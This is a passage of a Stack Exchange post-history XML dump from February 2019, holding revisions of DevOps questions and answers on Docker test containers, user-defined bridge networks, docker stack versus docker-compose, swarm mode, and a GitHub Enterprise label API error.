--&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Starting the test container:&#xD;&#xA;        host$ sudo docker run -it app-test-container&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests after dependency change&#xD;&#xA;        app-test-container$ npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests when no dependency change&#xD;&#xA;        app-test-container$ npm test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  With that solution, the developers just gain shell access to a container set up with a standard development stack. It is up to them to `npm install` when needed and tests are manually started by issuing the `npm test` command in the container. It is very close to what they currently do on their development host.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;So, I have three questions:&#xD;&#xA;&#xD;&#xA;* Do those solutions seem to be sane to you?&#xD;&#xA;* Can you see some advantages or disadvantages we missed in either solution?&#xD;&#xA;* Overall, is this a good step toward enforcing best practices, or do you spot some anti-pattern here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19802" PostHistoryTypeId="5" PostId="6195" RevisionGUID="4490474c-b68d-435b-b1ae-aaa1ad43c71f" CreationDate="2019-02-01T11:18:41.127" UserId="11179" Comment="added 110 characters in body" Text="We use containers to deploy our [Node.js](https://nodejs.org/en/) applications. But currently, the development and a good share of testing is done by the developers on their own host system and thus using different versions of the tools (notably Node.js itself, [NPM](https://www.npmjs.com/), and [Mocha](https://mochajs.org/)) depending what's available in the Linux distribution they use.&#xD;&#xA;&#xD;&#xA;To standardize our development stack, we would like to perform all tests in containers so everyone will use the exact same version of the tools. The application source directory will be bind-mounted to the &quot;test container&quot;.&#xD;&#xA;&#xD;&#xA;We are having now a discussion here about how the developers are supposed to interact with the &quot;test container&quot;. Basically, using Dockerfile notation, we are hesitating between two options:&#xD;&#xA;&#xD;&#xA;* The **blackbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;      &lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Running a test suite:&#xD;&#xA;        host$ sudo docker run app-test-container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  Running tests do not require any manual work besides starting the container. Tests are guaranteed to be reproducible. But developers complain about the possible overhead of running `npm install` before every test and a [potential issue if (because of the bind mount) they end-up starting concurrently several instances of `npm install`](https://stackoverflow.com/questions/54478326/can-several-npm-install-command-be-safely-issued-concurrently).&#xD;&#xA;&#xD;&#xA;* The **openbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD /bin/bash&#xD;&#xA;&#xD;&#xA;      &lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Starting the test container:&#xD;&#xA;        host$ sudo docker run -it app-test-container&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests after dependency change&#xD;&#xA;        app-test-container$ npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests when no dependency change&#xD;&#xA;        app-test-container$ npm test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  With that solution, the developers just gain shell access to a container set up with a standard development stack. It is up to them to `npm install` when needed and tests are manually started by issuing the `npm test` command in the container. It is very close to what they currently do on their development host. They also see some advantage in having interactive access to the container so they can start directly `node` from there for ad-hoc tests and experimentations using the [REPL](https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop), as well as for directly running other `npm` commands from the container, basically freeing them to install any tool directly on their host.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;So, I have three questions:&#xD;&#xA;&#xD;&#xA;* Do those solutions seem to be sane to you?&#xD;&#xA;* Can you see some advantages or disadvantages we missed in either solution?&#xD;&#xA;* Overall, is this a good step toward enforcing best practices, or do you spot some anti-pattern here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19803" PostHistoryTypeId="5" PostId="6195" RevisionGUID="8ca842e3-18f5-4e9e-bc4a-85128c8912d2" CreationDate="2019-02-01T11:34:52.250" UserId="11179" Comment="added 54 characters in body" Text="We use containers to deploy our [Node.js](https://nodejs.org/en/) applications. But currently, the development and a good share of testing is done by the developers on their own host system and thus using different versions of the tools (notably Node.js itself, [NPM](https://www.npmjs.com/), and [Mocha](https://mochajs.org/)) depending what's available in the Linux distribution they use.&#xD;&#xA;&#xD;&#xA;To standardize our development stack, we would like to perform all tests in containers so everyone will use the exact same version of the tools. The application source directory will be bind-mounted to the &quot;test container&quot;.&#xD;&#xA;&#xD;&#xA;We are having now a discussion here about how the developers are supposed to interact with the &quot;test container&quot;. Basically, using Dockerfile notation, we are hesitating between two options:&#xD;&#xA;&#xD;&#xA;* The **blackbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;      &lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Running a test suite:&#xD;&#xA;        host$ sudo docker run app-test-container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  Running tests do not require any manual work besides starting the container. Tests are guaranteed to be reproducible. But developers complain about the possible overhead of running `npm install` before every test and a [potential issue if (because of the bind mount) they end-up starting concurrently several instances of `npm install`](https://stackoverflow.com/questions/54478326/can-several-npm-install-command-be-safely-issued-concurrently).&#xD;&#xA;&#xD;&#xA;* The **openbox** solution:&#xD;&#xA;&#xD;&#xA;        CMD /bin/bash&#xD;&#xA;&#xD;&#xA;      &lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;        host$ # Starting the test container:&#xD;&#xA;        host$ sudo docker run -it app-test-container&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests after dependency change&#xD;&#xA;        app-test-container$ npm install &amp;&amp; npm test&#xD;&#xA;&#xD;&#xA;        app-test-container$ # run tests when no dependency change&#xD;&#xA;        app-test-container$ npm test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  With that solution, the developers just gain shell access to a container set up with a standard development stack. It is up to them to `npm install` when needed and tests are manually started by issuing the `npm test` command in the container. It is very close to what they currently do on their development host. They also see some advantage in having interactive access to the container so they can start directly `node` from there for ad-hoc tests and experimentations using the [REPL](https://en.wikipedia.org/wiki/Read%E2%80%93eval%E2%80%93print_loop), as well as for directly running other `npm` commands from the container, basically freeing them to install any tool directly on their host.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;So, I have several questions:&#xD;&#xA;&#xD;&#xA;* Do those solutions seem to be sane to you?&#xD;&#xA;* Can you see some advantages or disadvantages we missed in either solution?&#xD;&#xA;* Overall, is this a good step toward enforcing best practices, or do you spot some anti-pattern here?&#xD;&#xA;&#xD;&#xA;... and finally, which solution would you favor?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19804" PostHistoryTypeId="2" PostId="6196" RevisionGUID="2e6e8f0c-dd62-4df1-90ba-6664f9b5b062" CreationDate="2019-02-01T12:40:49.493" UserId="47" Text="I think most/all of the differences between the legacy/default bridge and the user-defined ones listed in the doc section you referenced are pretty objective advantages :)&#xD;&#xA;&#xD;&#xA;For your particular question, in `User-defined bridges provide better isolation and interoperability between containerized applications` we see:&#xD;&#xA;&#xD;&#xA;&gt; Using a user-defined bridge, only the web port needs to be opened, and&#xD;&#xA;&gt; the database application doesn’t need any ports open, since the web&#xD;&#xA;&gt; front-end can reach it over the user-defined bridge&#xD;&#xA;&#xD;&#xA;Since in such case the db doesn't have open ports it can't be accessed from the outside, so all threats associated with having the db reachable from the outside are avoided." ContentLicense="CC BY-SA 4.0" />
  <row Id="19805" PostHistoryTypeId="5" PostId="6186" RevisionGUID="9ebf97f5-66c3-4607-82d7-82c2a7682bde" CreationDate="2019-02-01T12:56:16.600" UserId="11179" Comment="added 24 characters in body" Text="I have a simple system made of a database backend, several instances of a web application and a load balancer. Each service is running in its own Docker container, all of them being hosted on the same physical server. The load balancer listens on the port 80 which is mapped to the same port on the host. All ingress/egress traffic is supposed to pass through that load balancer.&#xD;&#xA;&#xD;&#xA;Currently, all those containers are attached to a single [user-defined bridge](https://docs.docker.com/network/bridge/#differences-between-user-defined-bridges-and-the-default-bridge).&#xD;&#xA;&#xD;&#xA;I read it would be better to connect the load balancer and the app instances through one bridge, and the app instances and the database through a second one. _Instinctively_, it makes sense to avoid putting the DB on the public-facing bridge. But _objectively_, in a dockerized environment, **what are the benefits of using two bridge networks instead of only one here?** Which kind of threats is mitigated by doing so?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19806" PostHistoryTypeId="5" PostId="6186" RevisionGUID="9c89b21b-6d25-4a54-8f52-25a79225677f" CreationDate="2019-02-01T13:31:12.977" UserId="11179" Comment="added 132 characters in body" Text="I have a simple system made of a database backend, several instances of a web application and a load balancer. Each service is running in its own Docker container, all of them being hosted on the same physical server. The load balancer listens on the port 80 which is mapped to the same port on the host. All ingress/egress traffic is supposed to pass through that load balancer.&#xD;&#xA;&#xD;&#xA;Currently, all those containers are attached to a single [user-defined bridge](https://docs.docker.com/network/bridge/#differences-between-user-defined-bridges-and-the-default-bridge).&#xD;&#xA;&#xD;&#xA;I read it would be better to connect the load balancer and the app instances through one bridge, and the app instances and the database through a second one. _Instinctively_, it makes sense to avoid putting the DB on the public-facing bridge. But _objectively_, in a dockerized environment, **what are the benefits of using two bridge networks instead of only one here?** Which kind of threats is mitigated by doing so?&#xD;&#xA;[![One user-defined bridge vs two user-defined bridges. Which is the best?][1]][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/W1CTK.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19807" PostHistoryTypeId="5" PostId="6186" RevisionGUID="a0c13a7d-6d65-46f1-a84a-5a881ea6b410" CreationDate="2019-02-01T13:43:16.010" UserId="11179" Comment="added 2 characters in body" Text="I have a simple system made of a database backend, several instances of a web application and a load balancer. Each service is running in its own Docker container, all of them being hosted on the same physical server. The load balancer listens on the port 80 which is mapped to the same port on the host. All ingress/egress traffic is supposed to pass through that load balancer.&#xD;&#xA;&#xD;&#xA;Currently, all those containers are attached to a single [user-defined bridge](https://docs.docker.com/network/bridge/#differences-between-user-defined-bridges-and-the-default-bridge).&#xD;&#xA;&#xD;&#xA;I read it would be better to connect the load balancer and the app instances through one bridge, and the app instances and the database through a second one. _Instinctively_, it makes sense to avoid putting the DB on the public-facing bridge. But _objectively_, in a dockerized environment, **what are the benefits of using two bridge networks instead of only one here?** Which kind of threats is mitigated by doing so?&#xD;&#xA;&#xD;&#xA;[![One user-defined bridge vs two user-defined bridges. Which is the best?][1]][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/W1CTK.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19808" PostHistoryTypeId="2" PostId="6197" RevisionGUID="f155ef2f-c086-4ea3-a932-9715b6cb7023" CreationDate="2019-02-01T13:59:27.830" UserId="11179" Text="I noticed if you try to attach a container to two networks, the following syntax does not cause an error, but effectively attach the container only on the network specified by the last `--network`:&#xD;&#xA;&#xD;&#xA;    sudo docker run \&#xD;&#xA;            --network front-end \&#xD;&#xA;            --network back-end \&#xD;&#xA;            --name app1 ${IMAGE}&#xD;&#xA;&#xD;&#xA;    sudo docker network inspect front-end | jq '.[].Containers[].Name'&#xD;&#xA;    # &lt;-- nothing here&#xD;&#xA;    sudo docker network inspect back-end | jq '.[].Containers[].Name'&#xD;&#xA;    &quot;app1&quot;&#xD;&#xA;&#xD;&#xA;How to attach two (or more) networks to a container so they are available when the container starts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19809" PostHistoryTypeId="1" PostId="6197" RevisionGUID="f155ef2f-c086-4ea3-a932-9715b6cb7023" CreationDate="2019-02-01T13:59:27.830" UserId="11179" Text="How to attach two (or more) networks to a container so they are available when the container starts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19810" PostHistoryTypeId="3" PostId="6197" RevisionGUID="f155ef2f-c086-4ea3-a932-9715b6cb7023" CreationDate="2019-02-01T13:59:27.830" UserId="11179" Text="&lt;docker&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19811" PostHistoryTypeId="5" PostId="6196" RevisionGUID="085f2270-e4f6-4807-8792-bbe6f042800f" CreationDate="2019-02-01T14:27:56.320" UserId="47" Comment="update following comment" Text="Your updated question completely changed my understanding :)&#xD;&#xA;&#xD;&#xA;Since the db is on a user-defined bridge in both cases, the advantages of using user-defined vs legacy/default bridges discussed in the doc section you referenced (which are applicable in both cases) aren't what differentiates the 2 cases. From that perspective they're equivalent.&#xD;&#xA;&#xD;&#xA;Original Answer:&#xD;&#xA;&#xD;&#xA;I think most/all of the differences between the legacy/default bridge and the user-defined ones listed in the doc section you referenced are pretty objective advantages :)&#xD;&#xA;&#xD;&#xA;For your particular question, in `User-defined bridges provide better isolation and interoperability between containerized applications` we see:&#xD;&#xA;&#xD;&#xA;&gt; Using a user-defined bridge, only the web port needs to be opened, and&#xD;&#xA;&gt; the database application doesn’t need any ports open, since the web&#xD;&#xA;&gt; front-end can reach it over the user-defined bridge&#xD;&#xA;&#xD;&#xA;Since in such case the db doesn't have open ports it can't be accessed from the outside, so all threats associated with having the db reachable from the outside are avoided." ContentLicense="CC BY-SA 4.0" />
  <row Id="19812" PostHistoryTypeId="5" PostId="6175" RevisionGUID="c6b60f47-ff9e-4af8-afbf-14561aebb624" CreationDate="2019-02-01T15:21:16.343" UserDisplayName="user10486" Comment="Corrected text" Text="I want my Jenkins Pipeline have a user input step where it posts to a slack channel and waits for user input then uses the input to user enters (button in the slack message).&#xD;&#xA;&#xD;&#xA;So at the input step it posts to slack with a message that has buttons.&#xD;&#xA;&#xD;&#xA;Then when a user clicks a button in slack a rest call or something hits Jenkins with the value of the button user pressed.&#xD;&#xA;&#xD;&#xA;Is this possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19813" PostHistoryTypeId="4" PostId="6175" RevisionGUID="c6b60f47-ff9e-4af8-afbf-14561aebb624" CreationDate="2019-02-01T15:21:16.343" UserDisplayName="user10486" Comment="Corrected text" Text="Can I use the Jenkins Rest API with user input?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19814" PostHistoryTypeId="24" PostId="6175" RevisionGUID="c6b60f47-ff9e-4af8-afbf-14561aebb624" CreationDate="2019-02-01T15:21:16.343" Comment="Proposed by 10486 approved by -1 edit id of 929" ContentLicense="CC BY-SA 4.0" />
  <row Id="19815" PostHistoryTypeId="5" PostId="6175" RevisionGUID="429f3633-1ed9-44b8-9093-240f3fe7194e" CreationDate="2019-02-01T15:21:16.343" UserId="40" Comment="added 3 characters in body" Text="I want my Jenkins Pipeline to have a user input step where it posts to a slack channel and waits for user input then uses the input to user enters (button in the slack message).&#xD;&#xA;&#xD;&#xA;So at the input step it posts to slack with a message that has buttons.&#xD;&#xA;&#xD;&#xA;Then when a user clicks a button in slack a rest call or something hits Jenkins with the value of the button user pressed.&#xD;&#xA;&#xD;&#xA;Is this possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19816" PostHistoryTypeId="2" PostId="6198" RevisionGUID="f666b7e6-bc47-402c-a1ed-0719441d6a5e" CreationDate="2019-02-01T16:34:11.593" UserId="11179" Text="According to [that August 2017 article](https://vsupalov.com/difference-docker-compose-and-docker-stack/) the core functionalities of `docker-compose` were integrated into the new `docker stack` command. At the end of the article, the author also assumes `docker-compose` will soon to be deprecated. The [`docker stack deploy`](https://docs.docker.com/engine/reference/commandline/stack_deploy/) documentation is currently pretty sparse. &#xD;&#xA;&#xD;&#xA;The article is six months old now. So, is `docker stack` the way to go, or is there still some advantages in using `docker-compose` today? Especially, I will soon introduce Docker to students. Does it worth spending time studying with them  `docker-compose` or should I just jump to `docker stack`?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="19817" PostHistoryTypeId="1" PostId="6198" RevisionGUID="f666b7e6-bc47-402c-a1ed-0719441d6a5e" CreationDate="2019-02-01T16:34:11.593" UserId="11179" Text="Has `docker-compose` to be phased out in favor of `docker stack`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19818" PostHistoryTypeId="3" PostId="6198" RevisionGUID="f666b7e6-bc47-402c-a1ed-0719441d6a5e" CreationDate="2019-02-01T16:34:11.593" UserId="11179" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19819" PostHistoryTypeId="2" PostId="6199" RevisionGUID="45763646-f9bf-4e55-8223-5064ef9e24f1" CreationDate="2019-02-01T17:17:32.543" UserId="11179" Text="I am experimenting with `docker stack` as a replacement to `docker-compose`. But I had the following message on my first deploy attempt:&#xD;&#xA;&#xD;&#xA;    sudo docker stack deploy --compose-file stack/app-stack.yml app-stack&#xD;&#xA;    &#xD;&#xA;    this node is not a swarm manager. Use &quot;docker swarm init&quot; or &quot;docker swarm join&quot; to connect this node to swarm and try again&#xD;&#xA;&#xD;&#xA;Once issued the `docker swarm init` command, `docker stack deploy` works as expected.&#xD;&#xA;&#xD;&#xA;Why it is mandatory to switch to _swarm mode_ to run `docker stack`? And most important, what are the implications of switching to _swarm mode_ when working on a single node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19820" PostHistoryTypeId="1" PostId="6199" RevisionGUID="45763646-f9bf-4e55-8223-5064ef9e24f1" CreationDate="2019-02-01T17:17:32.543" UserId="11179" Text="Why `docker stack` needs Docker to run in swarm mode? What are the implications when working on a single node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19821" PostHistoryTypeId="3" PostId="6199" RevisionGUID="45763646-f9bf-4e55-8223-5064ef9e24f1" CreationDate="2019-02-01T17:17:32.543" UserId="11179" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19822" PostHistoryTypeId="2" PostId="6200" RevisionGUID="e4d7f4f7-f931-4a5c-b91f-7c6b4c48ca88" CreationDate="2019-02-01T18:15:36.827" UserId="12177" Text="docker stack api is introduced from docker version 1.12.0 and above.&#xD;&#xA;the api is enabled in swarm mode.&#xD;&#xA;&#xD;&#xA;to enable the docker stack api, run below command&#xD;&#xA;docker swarm init&#xD;&#xA;&#xD;&#xA;when you run the above command, your host would become single master docker swarm cluster.&#xD;&#xA;you should be able to use docker stack and docker service and other new api's.&#xD;&#xA;&#xD;&#xA;you can also add new hosts to the swarm cluster as a worker or manager" ContentLicense="CC BY-SA 4.0" />
  <row Id="19823" PostHistoryTypeId="2" PostId="6201" RevisionGUID="d5fff812-17db-4d00-8fed-46754a273e0a" CreationDate="2019-02-01T20:46:32.070" UserId="7730" Text="&gt; Why it is mandatory to switch to swarm mode to run docker stack?&#xD;&#xA;&#xD;&#xA;A stack and service are swarm mode objects by their very definition. The stack is a collection of services, and each service is a definition of a target state. Swarm mode takes those target states and manages containers to achieve that target state.&#xD;&#xA;&#xD;&#xA;&gt; And most important, what are the implications of switching to swarm mode when working on a single node?&#xD;&#xA;&#xD;&#xA;Pretty minimal from the user perspective. There's another few ports opened and listening. If you try to directly manage containers (stop, rm, restart) that are managed by a service, you'll find that swarm mode will take steps to get you back to the service definition, which confuses some that keep finding new containers recreated when they delete all running containers directly. You just need to run the `docker service` commands to manage them instead." ContentLicense="CC BY-SA 4.0" />
  <row Id="19824" PostHistoryTypeId="2" PostId="6202" RevisionGUID="b47a6320-acf0-47d1-bf32-17d6c98fc0aa" CreationDate="2019-02-01T20:57:10.730" UserId="7730" Text="There are a few features of `docker-compose` that are not implemented in `docker stack deploy` and vice versa.&#xD;&#xA;&#xD;&#xA;With `docker-compose`, you can run privileged containers and change capabilities which is not supported with swarm services yet. You can also run a container that is designed to exit, e.g. a batch job, more intuitively in docker-compose than in swarm mode. If your containers are designed for sysadmin tasks, this may make more sense.&#xD;&#xA;&#xD;&#xA;With `docker stack deploy`, you get access to secrets and configs, along with replication settings, configuration of rolling updates, ingress networking with the routing mesh, and various other swarm mode features. If your containers are designed for highly available microservices, this makes more sense.&#xD;&#xA;&#xD;&#xA;Both of these use the same docker-compose.yml definition file (with version 3 required for swarm mode). That makes moving between the two fairly easy. There are also projects like [compose-on-kubernetes](https://github.com/docker/compose-on-kubernetes) and [kompose](https://github.com/kubernetes/kompose) that make the transition to kubernetes with the same stack definitions easy." ContentLicense="CC BY-SA 4.0" />
  <row Id="19825" PostHistoryTypeId="50" PostId="5864" RevisionGUID="75341e29-9028-4628-b5bf-c2722c3f177e" CreationDate="2019-02-01T22:02:15.463" UserId="-1" />
  <row Id="19826" PostHistoryTypeId="2" PostId="6203" RevisionGUID="4e29fddd-c2f9-4a6a-b22a-117023d1149a" CreationDate="2019-02-01T22:44:30.840" UserId="9351" Text="We are hosting GitHub enterprise for our development. I am able to access the reset api and create jira, create PR etc. &#xD;&#xA;&#xD;&#xA;When I [try to add label][2] to my PR, it gives error for array.&#xD;&#xA;&#xD;&#xA;    curl -X POST -u githuser:gittoken https://api.github.mycompany.com/repos/team/repo/issues/560/labels -H &quot;Content-type: application/json&quot; -k -d '{&quot;labels&quot;: [&quot;bug&quot;]}' -H &quot;Accept: application/json&quot;&#xD;&#xA;    {&#xD;&#xA;      &quot;message&quot;: &quot;Invalid request.\n\nFor 'links/2/schema', {\&quot;labels\&quot;=&gt;[\&quot;bug\&quot;]} is not an array.&quot;,&#xD;&#xA;      &quot;documentation_url&quot;: &quot;https://developer.github.com/enterprise/2.13/v3/issues/labels/#add-labels-to-an-issue&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I check, `bug` is valid label.&#xD;&#xA;&#xD;&#xA;    curl -u githuser:gittoken -X GET \&#xD;&#xA;      https://api.github.mycompany.com/repos/team/repo/labels&#xD;&#xA;    [&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 163461,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/+1&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;+1&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;c2e0c6&quot;,&#xD;&#xA;            &quot;default&quot;: false&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 382069,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/Blocked&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;Blocked&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;fbca04&quot;,&#xD;&#xA;            &quot;default&quot;: false&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 163462,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/Changes%20Requested&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;Changes Requested&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;cc317c&quot;,&#xD;&#xA;            &quot;default&quot;: false&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 404926,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/Release%20Review&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;Release Review&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;5319e7&quot;,&#xD;&#xA;            &quot;default&quot;: false&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 228780,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/Review%20Pass&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;Review Pass&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;009800&quot;,&#xD;&#xA;            &quot;default&quot;: false&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 228781,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/Review%20Requested&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;Review Requested&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;eb6420&quot;,&#xD;&#xA;            &quot;default&quot;: false&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 426113,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/Staging%20Bug&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;Staging Bug&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;d6021a&quot;,&#xD;&#xA;            &quot;default&quot;: false&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 163457,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/bug&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;bug&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;fc2929&quot;,&#xD;&#xA;            &quot;default&quot;: true&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 163458,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/duplicate&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;duplicate&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;cccccc&quot;,&#xD;&#xA;            &quot;default&quot;: true&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 163459,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/enhancement&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;enhancement&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;84b6eb&quot;,&#xD;&#xA;            &quot;default&quot;: true&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 163460,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/help%20wanted&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;help wanted&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;159818&quot;,&#xD;&#xA;            &quot;default&quot;: true&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;id&quot;: 163463,&#xD;&#xA;            &quot;url&quot;: &quot;https://github.mycompany.com/api/v3/repos/team/repo/labels/wontfix&quot;,&#xD;&#xA;            &quot;name&quot;: &quot;wontfix&quot;,&#xD;&#xA;            &quot;color&quot;: &quot;ffffff&quot;,&#xD;&#xA;            &quot;default&quot;: true&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;I tried with other combinations, like string only, string with coma etc.. but its same error.&#xD;&#xA;&#xD;&#xA;Actual command:&#xD;&#xA;    [![actual command][1]][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/X3urQ.png&#xD;&#xA;  [2]: https://developer.github.com/v3/issues/labels/#add-labels-to-an-issue" ContentLicense="CC BY-SA 4.0" />
  <row Id="19827" PostHistoryTypeId="1" PostId="6203" RevisionGUID="4e29fddd-c2f9-4a6a-b22a-117023d1149a" CreationDate="2019-02-01T22:44:30.840" UserId="9351" Text="Github rest api post label gives error for array input" ContentLicense="CC BY-SA 4.0" />
  <row Id="19828" PostHistoryTypeId="3" PostId="6203" RevisionGUID="4e29fddd-c2f9-4a6a-b22a-117023d1149a" CreationDate="2019-02-01T22:44:30.840" UserId="9351" Text="&lt;git&gt;&lt;github&gt;&lt;api&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19830" PostHistoryTypeId="5" PostId="6198" RevisionGUID="78e2abb8-63a9-44f1-80c3-76848b5e6238" CreationDate="2019-02-02T08:43:18.193" UserId="11581" Comment="Removed typos" Text="According to [that August 2017 article](https://vsupalov.com/difference-docker-compose-and-docker-stack/) the core functionalities of `docker-compose` were integrated into the new `docker stack` command. At the end of the article, the author also assumes `docker-compose` will soon to be deprecated. The [`docker stack deploy`](https://docs.docker.com/engine/reference/commandline/stack_deploy/) documentation is currently pretty sparse. &#xD;&#xA;&#xD;&#xA;The article is six months old now. So, is `docker stack` the way to go, or is there still some advantage in using `docker-compose` today? Especially, I will soon introduce Docker to students. Is it worth spending time studying with them details of `docker-compose` or should I just jump to `docker stack`?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="19831" PostHistoryTypeId="24" PostId="6198" RevisionGUID="78e2abb8-63a9-44f1-80c3-76848b5e6238" CreationDate="2019-02-02T08:43:18.193" Comment="Proposed by 11581 approved by -1 edit id of 930" ContentLicense="CC BY-SA 4.0" />
  <row Id="19832" PostHistoryTypeId="5" PostId="6198" RevisionGUID="dc8816bb-381c-46be-b054-9f124f951d9f" CreationDate="2019-02-02T08:43:18.193" UserId="40" Comment="deleted 1 character in body" Text="According to [the August 2017 article](https://vsupalov.com/difference-docker-compose-and-docker-stack/) the core functionalities of `docker-compose` were integrated into the new `docker stack` command. At the end of the article, the author also assumes `docker-compose` will soon to be deprecated. The [`docker stack deploy`](https://docs.docker.com/engine/reference/commandline/stack_deploy/) documentation is currently pretty sparse. &#xD;&#xA;&#xD;&#xA;The article is six months old now. So, is `docker stack` the way to go, or is there still some advantage in using `docker-compose` today? Especially, I will soon introduce Docker to students. Is it worth spending time studying with them details of `docker-compose` or should I just jump to `docker stack`?  " ContentLicense="CC BY-SA 4.0" />
